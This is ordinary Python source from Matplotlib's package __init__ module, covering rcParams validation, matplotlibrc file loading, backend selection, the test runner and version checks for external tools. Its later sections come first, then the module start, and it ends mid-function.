``$PWD/matplotlibrc`` - ``$MATPLOTLIBRC`` if it is not a directory - ``$MATPLOTLIBRC/matplotlibrc`` - ``$MPLCONFIGDIR/matplotlibrc`` - On Linux, - ``$XDG_CONFIG_HOME/matplotlib/matplotlibrc`` (if ``$XDG_CONFIG_HOME`` is defined) - or ``$HOME/.config/matplotlib/matplotlibrc`` (if ``$XDG_CONFIG_HOME`` is not defined) - On other platforms, - ``$HOME/.matplotlib/matplotlibrc`` if ``$HOME`` is defined - Lastly, it looks in ``$MATPLOTLIBDATA/matplotlibrc``, which should always exist. """ def gen_candidates(): # rely on down-stream code to make absolute. This protects us # from having to directly get the current working directory # which can fail if the user has ended up with a cwd that is # non-existent. yield 'matplotlibrc' try: matplotlibrc = os.environ['MATPLOTLIBRC'] except KeyError: pass else: yield matplotlibrc yield os.path.join(matplotlibrc, 'matplotlibrc') yield os.path.join(get_configdir(), 'matplotlibrc') yield os.path.join(get_data_path(), 'matplotlibrc') for fname in gen_candidates(): if os.path.exists(fname) and not os.path.isdir(fname): return fname raise RuntimeError("Could not find matplotlibrc file; your Matplotlib " "install is broken") # rcParams deprecated and automatically mapped to another key. # Values are tuples of (version, new_name, f_old2new, f_new2old). _deprecated_map = {} # rcParams deprecated; some can manually be mapped to another key. # Values are tuples of (version, new_name_or_None). _deprecated_ignore_map = { 'mpl_toolkits.legacy_colorbar': ('3.4', None), } # rcParams deprecated; can use None to suppress warnings; remain actually # listed in the rcParams (not included in _all_deprecated). # Values are tuples of (version,) _deprecated_remain_as_none = { 'animation.avconv_path': ('3.3',), 'animation.avconv_args': ('3.3',), 'animation.html_args': ('3.3',), 'mathtext.fallback_to_cm': ('3.3',), 'keymap.all_axes': ('3.3',), 'savefig.jpeg_quality': ('3.3',), 'text.latex.preview': ('3.3',), } _all_deprecated = {*_deprecated_map, *_deprecated_ignore_map} @docstring.Substitution("\n".join(map("- {}".format, rcsetup._validators))) class RcParams(MutableMapping, dict): """ A dictionary object including validation. Validating functions are defined and associated with rc parameters in :mod:`matplotlib.rcsetup`. The list of rcParams is: %s See Also -------- :ref:`customizing-with-matplotlibrc-files` """ validate = rcsetup._validators # validate values on the way in def __init__(self, *args, **kwargs): self.update(*args, **kwargs) def __setitem__(self, key, val): try: if key in _deprecated_map: version, alt_key, alt_val, inverse_alt = _deprecated_map[key] _api.warn_deprecated( version, name=key, obj_type="rcparam", alternative=alt_key) key = alt_key val = alt_val(val) elif key in _deprecated_remain_as_none and val is not None: version, = _deprecated_remain_as_none[key] _api.warn_deprecated(version, name=key, obj_type="rcparam") elif key in _deprecated_ignore_map: version, alt_key = _deprecated_ignore_map[key] _api.warn_deprecated( version, name=key, obj_type="rcparam", alternative=alt_key) return elif key == 'backend': if val is rcsetup._auto_backend_sentinel: if 'backend' in self: return try: cval = self.validate[key](val) except ValueError as ve: raise ValueError(f"Key {key}: {ve}") from None dict.__setitem__(self, key, cval) except KeyError as err: raise KeyError( f"{key} is not a valid rc parameter (see rcParams.keys() for " f"a list of valid parameters)") from err def __getitem__(self, key): if key in _deprecated_map: version, alt_key, alt_val, inverse_alt = _deprecated_map[key] _api.warn_deprecated( version, name=key, obj_type="rcparam", alternative=alt_key) return inverse_alt(dict.__getitem__(self, alt_key)) elif key in _deprecated_ignore_map: version, alt_key = _deprecated_ignore_map[key] _api.warn_deprecated( version, name=key, obj_type="rcparam", alternative=alt_key) return dict.__getitem__(self, alt_key) if alt_key else None elif key == "backend": val = dict.__getitem__(self, key) if val is rcsetup._auto_backend_sentinel: from matplotlib import pyplot as plt plt.switch_backend(rcsetup._auto_backend_sentinel) return dict.__getitem__(self, key) def __repr__(self): class_name = self.__class__.__name__ indent = len(class_name) + 1 with _api.suppress_matplotlib_deprecation_warning(): repr_split = pprint.pformat(dict(self), indent=1, width=80 - indent).split('\n') repr_indented = ('\n' + ' ' * indent).join(repr_split) return '{}({})'.format(class_name, repr_indented) def __str__(self): return '\n'.join(map('{0[0]}: {0[1]}'.format, sorted(self.items()))) def __iter__(self): """Yield sorted list of keys.""" with _api.suppress_matplotlib_deprecation_warning(): yield from sorted(dict.__iter__(self)) def __len__(self): return dict.__len__(self) def find_all(self, pattern): """ Return the subset of this RcParams dictionary whose keys match, using :func:`re.search`, the given ``pattern``. .. note:: Changes to the returned dictionary are *not* propagated to the parent RcParams dictionary. """ pattern_re = re.compile(pattern) return RcParams((key, value) for key, value in self.items() if pattern_re.search(key)) def copy(self): return {k: dict.__getitem__(self, k) for k in self} def rc_params(fail_on_error=False): """Construct a `RcParams` instance from the default Matplotlib rc file.""" return rc_params_from_file(matplotlib_fname(), fail_on_error) URL_REGEX = re.compile(r'^http://|^https://|^ftp://|^file:') def is_url(filename): """Return whether *filename* is an http, https, ftp, or file URL path.""" return URL_REGEX.match(filename) is not None @functools.lru_cache() def _get_ssl_context(): try: import certifi except ImportError: _log.debug("Could not import certifi.") return None import ssl return ssl.create_default_context(cafile=certifi.where()) @contextlib.contextmanager def _open_file_or_url(fname): if not isinstance(fname, Path) and is_url(fname): import urllib.request ssl_ctx = _get_ssl_context() if ssl_ctx is None: _log.debug( "Could not get certifi ssl context, https may not work." ) with urllib.request.urlopen(fname, context=ssl_ctx) as f: yield (line.decode('utf-8') for line in f) else: fname = os.path.expanduser(fname) encoding = locale.getpreferredencoding(do_setlocale=False) if encoding is None: encoding = "utf-8" with open(fname, encoding=encoding) as f: yield f def _rc_params_in_file(fname, transform=lambda x: x, fail_on_error=False): """ Construct a `RcParams` instance from file *fname*. Unlike `rc_params_from_file`, the configuration class only contains the parameters specified in the file (i.e. default values are not filled in). Parameters ---------- fname : path-like The loaded file. transform : callable, default: the identity function A function called on each individual line of the file to transform it, before further parsing. fail_on_error : bool, default: False Whether invalid entries should result in an exception or a warning. """ rc_temp = {} with _open_file_or_url(fname) as fd: try: for line_no, line in enumerate(fd, 1): line = transform(line) strippedline = line.split('#', 1)[0].strip() if not strippedline: continue tup = strippedline.split(':', 1) if len(tup) != 2: _log.warning('Missing colon in file %r, line %d (%r)', fname, line_no, line.rstrip('\n')) continue key, val = tup key = key.strip() val = val.strip() if key in rc_temp: _log.warning('Duplicate key in file %r, line %d (%r)', fname, line_no, line.rstrip('\n')) rc_temp[key] = (val, line, line_no) except UnicodeDecodeError: _log.warning('Cannot decode configuration file %s with encoding ' '%s, check LANG and LC_* variables.', fname, locale.getpreferredencoding(do_setlocale=False) or 'utf-8 (default)') raise config = RcParams() for key, (val, line, line_no) in rc_temp.items(): if key in rcsetup._validators: if fail_on_error: config[key] = val # try to convert to proper type or raise else: try: config[key] = val # try to convert to proper type or skip except Exception as msg: _log.warning('Bad value in file %r, line %d (%r): %s', fname, line_no, line.rstrip('\n'), msg) elif key in _deprecated_ignore_map: version, alt_key = _deprecated_ignore_map[key] _api.warn_deprecated( version, name=key, alternative=alt_key, obj_type='rcparam', addendum="Please update your matplotlibrc.") else: version = 'master' if '.post' in __version__ else f'v{__version__}' _log.warning(""" Bad key %(key)s in file %(fname)s, line %(line_no)s (%(line)r) You probably need to get an updated matplotlibrc file from https://github.com/matplotlib/matplotlib/blob/%(version)s/matplotlibrc.template or from the matplotlib source distribution""", dict(key=key, fname=fname, line_no=line_no, line=line.rstrip('\n'), version=version)) return config def rc_params_from_file(fname, fail_on_error=False, use_default_template=True): """ Construct a `RcParams` from file *fname*. Parameters ---------- fname : str or path-like A file with Matplotlib rc settings. fail_on_error : bool If True, raise an error when the parser fails to convert a parameter. use_default_template : bool If True, initialize with default parameters before updating with those in the given file. If False, the configuration class only contains the parameters specified in the file. (Useful for updating dicts.) """ config_from_file = _rc_params_in_file(fname, fail_on_error=fail_on_error) if not use_default_template: return config_from_file with _api.suppress_matplotlib_deprecation_warning(): config = RcParams({**rcParamsDefault, **config_from_file}) if "".join(config['text.latex.preamble']): _log.info(""" ***************************************************************** You have the following UNSUPPORTED LaTeX preamble customizations: %s Please do not ask for support with these customizations active. ***************************************************************** """, '\n'.join(config['text.latex.preamble'])) _log.debug('loaded rc file %s', fname) return config # When constructing the global instances, we need to perform certain updates # by explicitly calling the superclass (dict.update, dict.items) to avoid # triggering resolution of _auto_backend_sentinel. rcParamsDefault = _rc_params_in_file( cbook._get_data_path("matplotlibrc"), # Strip leading comment. transform=lambda line: line[1:] if line.startswith("#") else line, fail_on_error=True) dict.update(rcParamsDefault, rcsetup._hardcoded_defaults) rcParams = RcParams() # The global instance. dict.update(rcParams, dict.items(rcParamsDefault)) dict.update(rcParams, _rc_params_in_file(matplotlib_fname())) with _api.suppress_matplotlib_deprecation_warning(): rcParamsOrig = RcParams(rcParams.copy()) # This also checks that all rcParams are indeed listed in the template. # Assigning to rcsetup.defaultParams is left only for backcompat. defaultParams = rcsetup.defaultParams = { # We want to resolve deprecated rcParams, but not backend... key: [(rcsetup._auto_backend_sentinel if key == "backend" else rcParamsDefault[key]), validator] for key, validator in rcsetup._validators.items()} if rcParams['axes.formatter.use_locale']: locale.setlocale(locale.LC_ALL, '') def rc(group, **kwargs): """ Set the current `.rcParams`. *group* is the grouping for the rc, e.g., for ``lines.linewidth`` the group is ``lines``, for ``axes.facecolor``, the group is ``axes``, and so on. Group may also be a list or tuple of group names, e.g., (*xtick*, *ytick*). *kwargs* is a dictionary attribute name/value pairs, e.g.,:: rc('lines', linewidth=2, color='r') sets the current `.rcParams` and is equivalent to:: rcParams['lines.linewidth'] = 2 rcParams['lines.color'] = 'r' The following aliases are available to save typing for interactive users: ===== ================= Alias Property ===== ================= 'lw' 'linewidth' 'ls' 'linestyle' 'c' 'color' 'fc' 'facecolor' 'ec' 'edgecolor' 'mew' 'markeredgewidth' 'aa' 'antialiased' ===== ================= Thus you could abbreviate the above call as:: rc('lines', lw=2, c='r') Note you can use python's kwargs dictionary facility to store dictionaries of default parameters. e.g., you can customize the font rc as follows:: font = {'family' : 'monospace', 'weight' : 'bold', 'size' : 'larger'} rc('font', **font) # pass in the font dict as kwargs This enables you to easily switch between several configurations. Use ``matplotlib.style.use('default')`` or :func:`~matplotlib.rcdefaults` to restore the default `.rcParams` after changes. Notes ----- Similar functionality is available by using the normal dict interface, i.e. ``rcParams.update({"lines.linewidth": 2, ...})`` (but ``rcParams.update`` does not support abbreviations or grouping). """ aliases = { 'lw': 'linewidth', 'ls': 'linestyle', 'c': 'color', 'fc': 'facecolor', 'ec': 'edgecolor', 'mew': 'markeredgewidth', 'aa': 'antialiased', } if isinstance(group, str): group = (group,) for g in group: for k, v in kwargs.items(): name = aliases.get(k) or k key = '%s.%s' % (g, name) try: rcParams[key] = v except KeyError as err: raise KeyError(('Unrecognized key "%s" for group "%s" and ' 'name "%s"') % (key, g, name)) from err def rcdefaults(): """ Restore the `.rcParams` from Matplotlib's internal default style. Style-blacklisted `.rcParams` (defined in `matplotlib.style.core.STYLE_BLACKLIST`) are not updated. See Also -------- matplotlib.rc_file_defaults Restore the `.rcParams` from the rc file originally loaded by Matplotlib. matplotlib.style.use Use a specific style file. Call ``style.use('default')`` to restore the default style. """ # Deprecation warnings were already handled when creating rcParamsDefault, # no need to reemit them here. with _api.suppress_matplotlib_deprecation_warning(): from .style.core import STYLE_BLACKLIST rcParams.clear() rcParams.update({k: v for k, v in rcParamsDefault.items() if k not in STYLE_BLACKLIST}) def rc_file_defaults(): """ Restore the `.rcParams` from the original rc file loaded by Matplotlib. Style-blacklisted `.rcParams` (defined in `matplotlib.style.core.STYLE_BLACKLIST`) are not updated. """ # Deprecation warnings were already handled when creating rcParamsOrig, no # need to reemit them here. with _api.suppress_matplotlib_deprecation_warning(): from .style.core import STYLE_BLACKLIST rcParams.update({k: rcParamsOrig[k] for k in rcParamsOrig if k not in STYLE_BLACKLIST}) def rc_file(fname, *, use_default_template=True): """ Update `.rcParams` from file. Style-blacklisted `.rcParams` (defined in `matplotlib.style.core.STYLE_BLACKLIST`) are not updated. Parameters ---------- fname : str or path-like A file with Matplotlib rc settings. use_default_template : bool If True, initialize with default parameters before updating with those in the given file. If False, the current configuration persists and only the parameters specified in the file are updated. """ # Deprecation warnings were already handled in rc_params_from_file, no need # to reemit them here. with _api.suppress_matplotlib_deprecation_warning(): from .style.core import STYLE_BLACKLIST rc_from_file = rc_params_from_file( fname, use_default_template=use_default_template) rcParams.update({k: rc_from_file[k] for k in rc_from_file if k not in STYLE_BLACKLIST}) @contextlib.contextmanager def rc_context(rc=None, fname=None): """ Return a context manager for temporarily changing rcParams. Parameters ---------- rc : dict The rcParams to temporarily set. fname : str or path-like A file with Matplotlib rc settings. If both *fname* and *rc* are given, settings from *rc* take precedence. See Also -------- :ref:`customizing-with-matplotlibrc-files` Examples -------- Passing explicit values via a dict:: with mpl.rc_context({'interactive': False}): fig, ax = plt.subplots() ax.plot(range(3), range(3)) fig.savefig('example.png') plt.close(fig) Loading settings from a file:: with mpl.rc_context(fname='print.rc'): plt.plot(x, y) # uses 'print.rc' """ orig = rcParams.copy() try: if fname: rc_file(fname) if rc: rcParams.update(rc) yield finally: dict.update(rcParams, orig) # Revert to the original rcs. def use(backend, *, force=True): """ Select the backend used for rendering and GUI integration. Parameters ---------- backend : str The backend to switch to. This can either be one of the standard backend names, which are case-insensitive: - interactive backends: GTK3Agg, GTK3Cairo, MacOSX, nbAgg, Qt4Agg, Qt4Cairo, Qt5Agg, Qt5Cairo, TkAgg, TkCairo, WebAgg, WX, WXAgg, WXCairo - non-interactive backends: agg, cairo, pdf, pgf, ps, svg, template or a string of the form: ``module://my.module.name``. force : bool, default: True If True (the default), raise an `ImportError` if the backend cannot be set up (either because it fails to import, or because an incompatible GUI interactive framework is already running); if False, ignore the failure. See Also -------- :ref:`backends` matplotlib.get_backend """ name = validate_backend(backend) # we need to use the base-class method here to avoid (prematurely) # resolving the "auto" backend setting if dict.__getitem__(rcParams, 'backend') == name: # Nothing to do if the requested backend is already set pass else: # if pyplot is not already imported, do not import it. Doing # so may trigger a `plt.switch_backend` to the _default_ backend # before we get a chance to change to the one the user just requested plt = sys.modules.get('matplotlib.pyplot') # if pyplot is imported, then try to change backends if plt is not None: try: # we need this import check here to re-raise if the # user does not have the libraries to support their # chosen backend installed. plt.switch_backend(name) except ImportError: if force: raise # if we have not imported pyplot, then we can set the rcParam # value which will be respected when the user finally imports # pyplot else: rcParams['backend'] = backend # if the user has asked for a given backend, do not helpfully # fallback rcParams['backend_fallback'] = False if os.environ.get('MPLBACKEND'): rcParams['backend'] = os.environ.get('MPLBACKEND') def get_backend(): """ Return the name of the current backend. See Also -------- matplotlib.use """ return rcParams['backend'] def interactive(b): """ Set whether to redraw after every plotting command (e.g. `.pyplot.xlabel`). """ rcParams['interactive'] = b def is_interactive(): """ Return whether to redraw after every plotting command. .. note:: This function is only intended for use in backends. End users should use `.pyplot.isinteractive` instead. """ return rcParams['interactive'] default_test_modules = [ 'matplotlib.tests', 'mpl_toolkits.tests', ] def _init_tests(): # The version of FreeType to install locally for running the # tests. This must match the value in `setupext.py` LOCAL_FREETYPE_VERSION = '2.6.1' from matplotlib import ft2font if (ft2font.__freetype_version__ != LOCAL_FREETYPE_VERSION or ft2font.__freetype_build_type__ != 'local'): _log.warning( f"Matplotlib is not built with the correct FreeType version to " f"run tests. Rebuild without setting system_freetype=1 in " f"setup.cfg. Expect many image comparison failures below. " f"Expected freetype version {LOCAL_FREETYPE_VERSION}. " f"Found freetype version {ft2font.__freetype_version__}. " "Freetype build type is {}local".format( "" if ft2font.__freetype_build_type__ == 'local' else "not ")) @_api.delete_parameter("3.3", "recursionlimit") def test(verbosity=None, coverage=False, *, recursionlimit=0, **kwargs): """Run the matplotlib test suite.""" try: import pytest except ImportError: print("matplotlib.test requires pytest to run.") return -1 if not os.path.isdir(os.path.join(os.path.dirname(__file__), 'tests')): print("Matplotlib test data is not installed") return -1 old_backend = get_backend() old_recursionlimit = sys.getrecursionlimit() try: use('agg') if recursionlimit: sys.setrecursionlimit(recursionlimit) args = kwargs.pop('argv', []) provide_default_modules = True use_pyargs = True for arg in args: if any(arg.startswith(module_path) for module_path in default_test_modules): provide_default_modules = False break if os.path.exists(arg): provide_default_modules = False use_pyargs = False break if use_pyargs: args += ['--pyargs'] if provide_default_modules: args += default_test_modules if coverage: args += ['--cov'] if verbosity: args += ['-' + 'v' * verbosity] retcode = pytest.main(args, **kwargs) finally: if old_backend.lower() != 'agg': use(old_backend) if recursionlimit: sys.setrecursionlimit(old_recursionlimit) return retcode test.__test__ = False # pytest: this function is not a test def _replacer(data, value): """ Either returns ``data[value]`` or passes ``data`` back, converts either to a sequence. """ try: # if key isn't a string don't bother if isinstance(value, str): # try to use __getitem__ value = data[value] except Exception: # key does not exist, silently fall back to key pass return sanitize_sequence(value) def _label_from_arg(y, default_name): try: return y.name except AttributeError: if isinstance(default_name, str): return default_name return None _DATA_DOC_TITLE = """ Notes ----- """ _DATA_DOC_APPENDIX = """ .. note:: In addition to the above described arguments, this function can take a *data* keyword argument. If such a *data* argument is given, {replaced} Objects passed as **data** must support item access (``data[s]``) and membership test (``s in data``). """ def _add_data_doc(docstring, replace_names): """ Add documentation for a *data* field to the given docstring. Parameters ---------- docstring : str The input docstring. replace_names : list of str or None The list of parameter names which arguments should be replaced by ``data[name]`` (if ``data[name]`` does not throw an exception). If None, replacement is attempted for all arguments. Returns ------- str The augmented docstring. """ if (docstring is None or replace_names is not None and len(replace_names) == 0): return docstring docstring = inspect.cleandoc(docstring) repl = ( (" every other argument can also be string ``s``, which is\n" " interpreted as ``data[s]`` (unless this raises an exception).") if replace_names is None else (" the following arguments can also be string ``s``, which is\n" " interpreted as ``data[s]`` (unless this raises an exception):\n" " " + ", ".join(map("*{}*".format, replace_names))) + ".") addendum = _DATA_DOC_APPENDIX.format(replaced=repl) if _DATA_DOC_TITLE not in docstring: addendum = _DATA_DOC_TITLE + addendum return docstring + addendum def _preprocess_data(func=None, *, replace_names=None, label_namer=None): """ A decorator to add a 'data' kwarg to a function. When applied:: @_preprocess_data() def func(ax, *args, **kwargs): ... the signature is modified to ``decorated(ax, *args, data=None, **kwargs)`` with the following behavior: - if called with ``data=None``, forward the other arguments to ``func``; - otherwise, *data* must be a mapping; for any argument passed in as a string ``name``, replace the argument by ``data[name]`` (if this does not throw an exception), then forward the arguments to ``func``. In either case, any argument that is a `MappingView` is also converted to a list. Parameters ---------- replace_names : list of str or None, default: None The list of parameter names for which lookup into *data* should be attempted. If None, replacement is attempted for all arguments. label_namer : str, default: None If set e.g. to "namer" (which must be a kwarg in the function's signature -- not as ``**kwargs``), if the *namer* argument passed in is a (string) key of *data* and no *label* kwarg is passed, then use the (string) value of the *namer* as *label*. :: @_preprocess_data(label_namer="foo") def func(foo, label=None): ... func("key", data={"key": value}) # is equivalent to func.__wrapped__(value, label="key") """ if func is None: # Return the actual decorator. return functools.partial( _preprocess_data, replace_names=replace_names, label_namer=label_namer) sig = inspect.signature(func) varargs_name = None varkwargs_name = None arg_names = [] params = list(sig.parameters.values()) for p in params: if p.kind is Parameter.VAR_POSITIONAL: varargs_name = p.name elif p.kind is Parameter.VAR_KEYWORD: varkwargs_name = p.name else: arg_names.append(p.name) data_param = Parameter("data", Parameter.KEYWORD_ONLY, default=None) if varkwargs_name: params.insert(-1, data_param) else: params.append(data_param) new_sig = sig.replace(parameters=params) arg_names = arg_names[1:] # remove the first "ax" / self arg assert {*arg_names}.issuperset(replace_names or []) or varkwargs_name, ( "Matplotlib internal error: invalid replace_names ({!r}) for {!r}" .format(replace_names, func.__name__)) assert label_namer is None or label_namer in arg_names, ( "Matplotlib internal error: invalid label_namer ({!r}) for {!r}" .format(label_namer, func.__name__)) @functools.wraps(func) def inner(ax, *args, data=None, **kwargs): if data is None: return func(ax, *map(sanitize_sequence, args), **kwargs) bound = new_sig.bind(ax, *args, **kwargs) auto_label = (bound.arguments.get(label_namer) or bound.kwargs.get(label_namer)) for k, v in bound.arguments.items(): if k == varkwargs_name: for k1, v1 in v.items(): if replace_names is None or k1 in replace_names: v[k1] = _replacer(data, v1) elif k == varargs_name: if replace_names is None: bound.arguments[k] = tuple(_replacer(data, v1) for v1 in v) else: if replace_names is None or k in replace_names: bound.arguments[k] = _replacer(data, v) new_args = bound.args new_kwargs = bound.kwargs args_and_kwargs = {**bound.arguments, **bound.kwargs} if label_namer and "label" not in args_and_kwargs: new_kwargs["label"] = _label_from_arg( args_and_kwargs.get(label_namer), auto_label) return func(*new_args, **new_kwargs) inner.__doc__ = _add_data_doc(inner.__doc__, replace_names) inner.__signature__ = new_sig return inner _log.debug('matplotlib version %s', __version__) _log.debug('interactive is %s', is_interactive()) _log.debug('platform is %s', sys.platform) _log.debug('loaded modules: %s', list(sys.modules))
""" An object-oriented plotting library. A procedural interface is provided by the companion pyplot module, which may be imported directly, e.g.:: import matplotlib.pyplot as plt or using ipython:: ipython at your terminal, followed by:: In [1]: %matplotlib In [2]: import matplotlib.pyplot as plt at the ipython shell prompt. For the most part, direct use of the object-oriented library is encouraged when programming; pyplot is primarily for working interactively. The exceptions are the pyplot functions `.pyplot.figure`, `.pyplot.subplot`, `.pyplot.subplots`, and `.pyplot.savefig`, which can greatly simplify scripting. Modules include: :mod:`matplotlib.axes` The `~.axes.Axes` class. Most pyplot functions are wrappers for `~.axes.Axes` methods. The axes module is the highest level of OO access to the library. :mod:`matplotlib.figure` The `.Figure` class. :mod:`matplotlib.artist` The `.Artist` base class for all classes that draw things. :mod:`matplotlib.lines` The `.Line2D` class for drawing lines and markers. :mod:`matplotlib.patches` Classes for drawing polygons. :mod:`matplotlib.text` The `.Text` and `.Annotation` classes. :mod:`matplotlib.image` The `.AxesImage` and `.FigureImage` classes. :mod:`matplotlib.collections` Classes for efficient drawing of groups of lines or polygons. :mod:`matplotlib.colors` Color specifications and making colormaps. :mod:`matplotlib.cm` Colormaps, and the `.ScalarMappable` mixin class for providing color mapping functionality to other classes. :mod:`matplotlib.ticker` Calculation of tick mark locations and formatting of tick labels. :mod:`matplotlib.backends` A subpackage with modules for various GUI libraries and output formats. The base matplotlib namespace includes: `~matplotlib.rcParams` Default configuration settings; their defaults may be overridden using a :file:`matplotlibrc` file. `~matplotlib.use` Setting the Matplotlib backend. This should be called before any figure is created, because it is not possible to switch between different GUI backends after that. Matplotlib was initially written by John D. Hunter (1968-2012) and is now developed and maintained by a host of others. Occasionally the internal documentation (python docstrings) will refer to MATLAB&reg;, a registered trademark of The MathWorks, Inc. """ import atexit from collections import namedtuple from collections.abc import MutableMapping import contextlib from distutils.version import LooseVersion import functools import importlib import inspect from inspect import Parameter import locale import logging import os from pathlib import Path import pprint import re import shutil import subprocess import sys import tempfile import warnings # cbook must import matplotlib only within function # definitions, so it is safe to import from it here. from . import _api, cbook, docstring, rcsetup from matplotlib.cbook import MatplotlibDeprecationWarning, sanitize_sequence from matplotlib.cbook import mplDeprecation # deprecated from matplotlib.rcsetup import validate_backend, cycler import numpy # Get the version from the _version.py versioneer file. For a git checkout, # this is computed based on the number of commits since the last tag. from ._version import get_versions __version__ = str(get_versions()['version']) del get_versions _log = logging.getLogger(__name__) __bibtex__ = r"""@Article{Hunter:2007, Author = {Hunter, J. D.}, Title = {Matplotlib: A 2D graphics environment}, Journal = {Computing in Science \& Engineering}, Volume = {9}, Number = {3}, Pages = {90--95}, abstract = {Matplotlib is a 2D graphics package used for Python for application development, interactive scripting, and publication-quality image generation across user interfaces and operating systems.}, publisher = {IEEE COMPUTER SOC}, year = 2007 }""" def _check_versions(): # Quickfix to ensure Microsoft Visual C++ redistributable # DLLs are loaded before importing kiwisolver from . import ft2font for modname, minver in [ ("cycler", "0.10"), ("dateutil", "2.7"), ("kiwisolver", "1.0.1"), ("numpy", "1.16"), ("pyparsing", "2.2.1"), ]: module = importlib.import_module(modname) if LooseVersion(module.__version__) < minver: raise ImportError("Matplotlib requires {}>={}; you have {}" .format(modname, minver, module.__version__)) _check_versions() # The decorator ensures this always returns the same handler (and it is only # attached once). @functools.lru_cache() def _ensure_handler(): """ The first time this function is called, attach a `StreamHandler` using the same format as `logging.basicConfig` to the Matplotlib root logger. Return this handler every time this function is called. """ handler = logging.StreamHandler() handler.setFormatter(logging.Formatter(logging.BASIC_FORMAT)) _log.addHandler(handler) return handler def set_loglevel(level): """ Set Matplotlib's root logger and root logger handler level, creating the handler if it does not exist yet. Typically, one should call ``set_loglevel("info")`` or ``set_loglevel("debug")`` to get additional debugging information. Parameters ---------- level : {"notset", "debug", "info", "warning", "error", "critical"} The log level of the handler. Notes ----- The first time this function is called, an additional handler is attached to Matplotlib's root handler; this handler is reused every time and this function simply manipulates the logger and handler's level. """ _log.setLevel(level.upper()) _ensure_handler().setLevel(level.upper()) def _logged_cached(fmt, func=None): """ Decorator that logs a function's return value, and memoizes that value. After :: @_logged_cached(fmt) def func(): ... the first call to *func* will log its return value at the DEBUG level using %-format string *fmt*, and memoize it; later calls to *func* will directly return that value. """ if func is None: # Return the actual decorator. return functools.partial(_logged_cached, fmt) called = False ret = None @functools.wraps(func) def wrapper(**kwargs): nonlocal called, ret if not called: ret = func(**kwargs) called = True _log.debug(fmt, ret) return ret return wrapper _ExecInfo = namedtuple("_ExecInfo", "executable version") class ExecutableNotFoundError(FileNotFoundError): """ Error raised when an executable that Matplotlib optionally depends on can't be found. """ pass @functools.lru_cache() def _get_executable_info(name): """ Get the version of some executable that Matplotlib optionally depends on. .. warning:: The list of executables that this function supports is set according to Matplotlib's internal needs, and may change without notice. Parameters ---------- name : str The executable to query. The following values are currently supported: "dvipng", "gs", "inkscape", "magick", "pdftops". This list is subject to change without notice. Returns ------- tuple A namedtuple with fields ``executable`` (`str`) and ``version`` (`distutils.version.LooseVersion`, or ``None`` if the version cannot be determined). Raises ------ ExecutableNotFoundError If the executable is not found or older than the oldest version supported by Matplotlib. ValueError If the executable is not one that we know how to query. """ def impl(args, regex, min_ver=None, ignore_exit_code=False): # Execute the subprocess specified by args; capture stdout and stderr. # Search for a regex match in the output; if the match succeeds, the # first group of the match is the version. # Return an _ExecInfo if the executable exists, and has a version of # at least min_ver (if set); else, raise ExecutableNotFoundError. try: output = subprocess.check_output( args, stderr=subprocess.STDOUT, universal_newlines=True, errors="replace") except subprocess.CalledProcessError as _cpe: if ignore_exit_code: output = _cpe.output else: raise ExecutableNotFoundError(str(_cpe)) from _cpe except OSError as _ose: raise ExecutableNotFoundError(str(_ose)) from _ose match = re.search(regex, output) if match: version = LooseVersion(match.group(1)) if min_ver is not None and version < min_ver: raise ExecutableNotFoundError( f"You have {args[0]} version {version} but the minimum " f"version supported by Matplotlib is {min_ver}") return _ExecInfo(args[0], version) else: raise ExecutableNotFoundError( f"Failed to determine the version of {args[0]} from " f"{' '.join(args)}, which output {output}") if name == "dvipng": return impl(["dvipng", "-version"], "(?m)^dvipng(?: .*)? (.+)", "1.6") elif name == "gs": execs = (["gswin32c", "gswin64c", "mgs", "gs"] # "mgs" for miktex. if sys.platform == "win32" else ["gs"]) for e in execs: try: return impl([e, "--version"], "(.*)", "9") except ExecutableNotFoundError: pass message = "Failed to find a Ghostscript installation" raise ExecutableNotFoundError(message) elif name == "inkscape": try: # Try headless option first (needed for Inkscape version < 1.0): return impl(["inkscape", "--without-gui", "-V"], "Inkscape ([^ ]*)") except ExecutableNotFoundError: pass # Suppress exception chaining. # If --without-gui is not accepted, we may be using Inkscape >= 1.0 so # try without it: return impl(["inkscape", "-V"], "Inkscape ([^ ]*)") elif name == "magick": if sys.platform == "win32": # Check the registry to avoid confusing ImageMagick's convert with # Windows's builtin convert.exe. import winreg binpath = "" for flag in [0, winreg.KEY_WOW64_32KEY, winreg.KEY_WOW64_64KEY]: try: with winreg.OpenKeyEx( winreg.HKEY_LOCAL_MACHINE, r"Software\Imagemagick\Current", 0, winreg.KEY_QUERY_VALUE | flag) as hkey: binpath = winreg.QueryValueEx(hkey, "BinPath")[0] except OSError: pass path = None if binpath: for name in ["convert.exe", "magick.exe"]: candidate = Path(binpath, name) if candidate.exists(): path = str(candidate) break if path is None: raise ExecutableNotFoundError( "Failed to find an ImageMagick installation") else: path = "convert" info = impl([path, "--version"], r"^Version: ImageMagick (\S*)") if info.version == "7.0.10-34": # https://github.com/ImageMagick/ImageMagick/issues/2720 raise ExecutableNotFoundError( f"You have ImageMagick {info.version}, which is unsupported") return info elif name == "pdftops": info = impl(["pdftops", "-v"], "^pdftops version (.*)", ignore_exit_code=True) if info and not ("3.0" <= info.version # poppler version numbers. or "0.9" <= info.version <= "1.0"): raise ExecutableNotFoundError( f"You have pdftops version {info.version} but the minimum " f"version supported by Matplotlib is 3.0") return info else: raise ValueError("Unknown executable: {!r}".format(name)) def checkdep_usetex(s): if not s: return False if not shutil.which("tex"): _log.warning("usetex mode requires TeX.") return False try: _get_executable_info("dvipng") except ExecutableNotFoundError: _log.warning("usetex mode requires dvipng.") return False try: _get_executable_info("gs") except ExecutableNotFoundError: _log.warning("usetex mode requires ghostscript.") return False return True def _get_xdg_config_dir(): """ Return the XDG configuration directory, according to the XDG base directory spec: https://standards.freedesktop.org/basedir-spec/basedir-spec-latest.html """ return os.environ.get('XDG_CONFIG_HOME') or str(Path.home() / ".config") def _get_xdg_cache_dir(): """ Return the XDG cache directory, according to the XDG base directory spec: https://standards.freedesktop.org/basedir-spec/basedir-spec-latest.html """ return os.environ.get('XDG_CACHE_HOME') or str(Path.home() / ".cache") def _get_config_or_cache_dir(xdg_base_getter): configdir = os.environ.get('MPLCONFIGDIR') if configdir: configdir = Path(configdir).resolve() elif sys.platform.startswith(('linux', 'freebsd')): # Only call _xdg_base_getter here so that MPLCONFIGDIR is tried first, # as _xdg_base_getter can throw. configdir = Path(xdg_base_getter(), "matplotlib") else: configdir = Path.home() / ".matplotlib" try: configdir.mkdir(parents=True, exist_ok=True) except OSError: pass else: if os.access(str(configdir), os.W_OK) and configdir.is_dir(): return 